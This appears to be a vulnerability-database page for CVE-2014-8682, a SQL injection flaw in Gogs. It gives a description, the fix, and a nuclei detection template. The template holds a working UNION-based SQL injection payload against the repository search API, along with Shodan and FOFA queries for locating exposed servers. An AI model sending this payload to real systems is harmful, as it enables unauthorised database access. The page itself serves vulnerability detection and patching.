HexBrain

Browse / CVEs / CVE-2014-8682

CVE-2014-8682· gogits / gogs· CWE-89

Gogs (Go Git Service) - SQL Injection

highseverity
7.5CVSS score
32.6%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the entire system.

Fix

Apply the latest security patches and updates provided by the Gogs project to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09u…
Positive when: contains "\"ok\":true" and "\"data\"" and "\"repolink\":\"" AND status 200

Run it with nuclei: nuclei -id CVE-2014-8682 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-8682

info:
  name: Gogs (Go Git Service) - SQL Injection
  author: dhiyaneshDK,daffainfo
  severity: high
  description: Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches and updates provided by the Gogs project to mitigate the SQL Injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8682
    - http://seclists.org/fulldisclosure/2014/Nov/33
    - http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html
    - https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d
    - https://www.exploit-db.com/exploits/35238
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/98694
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-8682
    cwe-id: CWE-89
    epss-score: 0.32616
    epss-percentile: 0.98352
    cpe: cpe:2.3:a:gogits:gogs:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gogits
    product: gogs
    shodan-query:
      - title:"Sign In - Gogs"
      - http.title:"sign in - gogs"
      - cpe:"cpe:2.3:a:gogs:gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve2014,cve,gogs,seclists,packetstorm,edb,sqli,gogits,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"ok":true'
          - '"data"'
          - '"repolink":"'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from